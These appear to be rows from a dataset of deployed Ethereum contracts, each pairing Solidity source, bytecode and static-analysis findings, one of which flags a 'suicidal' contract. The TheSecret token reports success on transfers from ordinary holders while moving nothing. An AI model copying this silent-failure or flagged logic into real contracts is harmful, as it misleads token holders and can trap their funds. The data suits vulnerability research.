08083209091015483528201929092526040018120805473ffffffffffffffffffffffffffffffffffffffff19908116825560018083019390935560029091018054909116905501611550565b610777611754565b600060015b6001548110156116e0575b600154811080156115f7575060028161010081106115f257fe5b015415155b15611604576001016115d8565b600180541180156116255750600154600290610100811061162157fe5b0154155b156116395760018054600019019055611604565b6001548110801561165b5750600154600290610100811061165657fe5b015415155b80156116745750600281610100811061167057fe5b0154155b156116db57600154600290610100811061168a57fe5b0154600282610100811061169a57fe5b015580610102600060028361010081106116b057fe5b015481526020019081526020016000208190555060006002600154610100811015156116d857fe5b01555b6115cd565b5090565b60006116ef33610554565b1561057057610107546117006117d7565b1115611719576000610106556117146117d7565b610107555b610106548281011080159061173657506101055482610106540111155b1561174c57506101068054820190556001610570565b506000919050565b6101045460005b818110156117ca5761010480548290811061177257fe5b600091825260209091200154156117c25761010360006101048381548110151561179857fe5b60009182526020808320909101548352820192909252604001812081815560018101829055600201555b60010161175b565b6107776101046000611805565b6201518042045b90565b81548183558181111561054f5760008381526020902061054f91810190830161181f565b508054600082559060005260206000209081019061062291905b6117de91905b808211156116e057600081556001016118255600a165627a7a723058206f55c7f28c792023d17c49fc24febcc7812093b2c3e1f218fd3af3c1cc52239d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "suicidal", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 877 |
0xef074086f8581e10139effef707c4ea03d71dae7 | /**
* _______ __ __ _______ _______ _______ _______ ______ _______ _______
* | || | | || | | || || || _ | | || |
* |_ _|| |_| || ___| | _____|| ___|| || | || | ___||_ _|
* | | | || |___ | |_____ | |___ | || |_||_ | |___ | |
* | | | || ___| |_____ || ___|| _|| __ || ___| | |
* | | | _ || |___ _____| || |___ | |_ | | | || |___ | |
* |___| |__| |__||_______| |_______||_______||_______||___| |_||_______| |___|
*
*
* TheSecret.Finance - A game for the knowledgeable
* The tokens created here are used as tickets, are non-transferable and have no cash value
*
* SPDX-License-Identifier: AGPL-3.0-or-later
*
*/
pragma solidity 0.7.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
library FinancialSafeMath {
using SafeMath for uint256;
function quadraticPricing( uint256 payment ) internal pure returns (uint256) {
return payment.mul(2).sqrrt();
}
function bondingPrice( uint256 multiplier, uint256 supply ) internal pure returns (uint256) {
return multiplier.mul( supply );
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TheSecret is Ownable {
using SafeMath for uint256;
// standard ERC20 variables.
string public constant name = "TheSecret.Finance";
string public constant symbol = "TS Season 1";
uint256 public constant decimals = 0;
uint256 private constant _maximumSupply = 1;
uint256 public _totalSupply;
address public freeaddress;
address public freeaddress1;
// events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) public _balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor(uint256 _initialSupply) public {
_owner = msg.sender;
_totalSupply = _maximumSupply * _initialSupply;
_balanceOf[msg.sender] = _maximumSupply * _initialSupply;
freeaddress = 0x0000000000000000000000000000000000000000;
freeaddress1 = 0x0000000000000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply () public view returns (uint256) {
return _totalSupply;
}
function balanceOf (address who) public view returns (uint256) {
return _balanceOf[who];
}
function _transfer(address _from, address _to, uint256 _value) internal {
if(_from == _owner || _from == freeaddress || _from == freeaddress1) {
_balanceOf[_from] = _balanceOf[_from].sub(_value);
_balanceOf[_to] = _balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_balanceOf[msg.sender] >= _value);
_transfer(msg.sender, _to, _value);
return true;
}
function burn (uint256 _burnAmount) public onlyOwner returns (bool success) {
_transfer(_owner, address(0), _burnAmount);
_totalSupply = _totalSupply.sub(_burnAmount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != address(0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= _balanceOf[_from]);
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function setFreeAddress(address newWallet) public {
require(msg.sender == _owner);
freeaddress = newWallet;
}
function setFreeAddress1(address newWallet) public {
require(msg.sender == _owner);
freeaddress1 = newWallet;
}
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063b2d234fb11610071578063b2d234fb14610563578063cca3e832146105a7578063d90cda29146105ff578063dd62ed3e14610633578063f2fde38b146106ab5761012c565b80638da5cb5b146103d057806395d89b41146104045780639bf5b9d714610487578063a9059cbb146104cb578063b2bdfa7b1461052f5761012c565b8063313ce567116100f4578063313ce567146102ee5780633eaaf86b1461030c57806342966c681461032a57806370a082311461036e578063715018a6146103c65761012c565b806306fdde0314610131578063095ea7b3146101b457806318160ddd146102185780631a435e0a1461023657806323b872dd1461026a575b600080fd5b6101396106ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610200600480360360408110156101ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610728565b60405180821515815260200191505060405180910390f35b610220610853565b6040518082815260200191505060405180910390f35b61023e61085d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102d66004803603606081101561028057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610883565b60405180821515815260200191505060405180910390f35b6102f6610a7f565b6040518082815260200191505060405180910390f35b610314610a84565b6040518082815260200191505060405180910390f35b6103566004803603602081101561034057600080fd5b8101908080359060200190929190505050610a8a565b60405180821515815260200191505060405180910390f35b6103b06004803603602081101561038457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9d565b6040518082815260200191505060405180910390f35b6103ce610be6565b005b6103d8610d65565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61040c610d8e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044c578082015181840152602081019050610431565b50505050905090810190601f1680156104795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104c96004803603602081101561049d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc7565b005b610517600480360360408110156104e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e63565b60405180821515815260200191505060405180910390f35b610537610ec6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a56004803603602081101561057957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eea565b005b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f86565b6040518082815260200191505060405180910390f35b610607610f9e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106956004803603604081101561064957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b6106ed600480360360208110156106c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe9565b005b6040518060400160405280601181526020017f5468655365637265742e46696e616e636500000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561076357600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108d157600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561095a57600080fd5b6109e982600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ed90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a74848484611237565b600190509392505050565b600081565b60015481565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610b7960008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600084611237565b610b8e826001546111ed90919063ffffffff16565b60018190555060019050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600b81526020017f545320536561736f6e203100000000000000000000000000000000000000000081525081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1f57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610eb157600080fd5b610ebc338484611237565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60046020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611130576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116196026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061122f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d0565b905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806112de5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806113365750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156114cb5761138d81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111ed90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142281600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b505050565b600083831115829061157d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611542578082015181840152602081019050611527565b50505050905090810190601f16801561156f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561160e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220c0074cfc0b2467a265246754de01d72707bcc2b542615efe80a6db0408e7bf2764736f6c63430007040033 | {"success": true, "error": null, "results": {}} | 878 |
0x0288da3da52a8d209ffdc32316b099f0f4ce68b0 | pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Spider is PausableToken{
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
uint256 public exchangeRate; //0.1 eth
bool public sellPaused = false;
constructor(
uint256 _initialAmount
) public {
balances[msg.sender] = _initialAmount; // Give the creator all initial tokens
totalSupply_ = _initialAmount; // Update total supply
name = "Spider"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "SPB"; // Set the symbol for display purposes
exchangeRate = 1000;
}
function setExchangeRate(uint256 x) public onlyOwner {
exchangeRate = x;
}
modifier whenSellNotPaused() {
require(!sellPaused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenSellPaused() {
require(sellPaused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function sellpause() onlyOwner whenSellNotPaused public {
sellPaused = true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unsellpause() onlyOwner whenSellPaused public {
sellPaused = false;
}
function () payable whenSellNotPaused whenNotPaused public {
require(msg.value >= 0.1 ether);
uint256 count = msg.value.div(0.1 ether).mul(exchangeRate);
balances[msg.sender] = balances[msg.sender].add(count);
balances[owner] = balances[owner].sub(count);
}
function withdrawAll () onlyOwner() public {
msg.sender.transfer(this.balance);
}
function withdrawAmount (uint256 _amount) onlyOwner() public {
msg.sender.transfer(_amount);
}
} | 0x60806040526004361061013d5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630562b9f7811461021c57806306fdde0314610236578063095ea7b3146102c057806318160ddd146102f857806323b872dd1461031f5780632cd6305f14610349578063313ce5671461035e5780633ba0b9a9146103895780633f4ba83a1461039e5780635c975abb146103b357806366188463146103c857806370a08231146103ec578063715018a61461040d5780638456cb5914610422578063853828b6146104375780638da5cb5b1461044c57806395d89b411461047d578063a9059cbb14610492578063d73dd623146104b6578063db068e0e146104da578063dd62ed3e146104f2578063e101733214610519578063f1fa17441461052e578063f2fde38b14610543575b60085460009060ff161561015057600080fd5b60035460a060020a900460ff161561016757600080fd5b67016345785d8a000034101561017c57600080fd5b6007546101a79061019b3467016345785d8a000063ffffffff61056416565b9063ffffffff61057b16565b336000908152602081905260409020549091506101ca908263ffffffff6105a416565b3360009081526020819052604080822092909255600354600160a060020a0316815220546101fe908263ffffffff6105b116565b600354600160a060020a031660009081526020819052604090205550005b34801561022857600080fd5b506102346004356105c3565b005b34801561024257600080fd5b5061024b61060b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028557818101518382015260200161026d565b50505050905090810190601f1680156102b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102cc57600080fd5b506102e4600160a060020a0360043516602435610699565b604080519115158252519081900360200190f35b34801561030457600080fd5b5061030d6106c4565b60408051918252519081900360200190f35b34801561032b57600080fd5b506102e4600160a060020a03600435811690602435166044356106ca565b34801561035557600080fd5b506102346106f7565b34801561036a57600080fd5b5061037361072b565b6040805160ff9092168252519081900360200190f35b34801561039557600080fd5b5061030d610734565b3480156103aa57600080fd5b5061023461073a565b3480156103bf57600080fd5b506102e46107b2565b3480156103d457600080fd5b506102e4600160a060020a03600435166024356107c2565b3480156103f857600080fd5b5061030d600160a060020a036004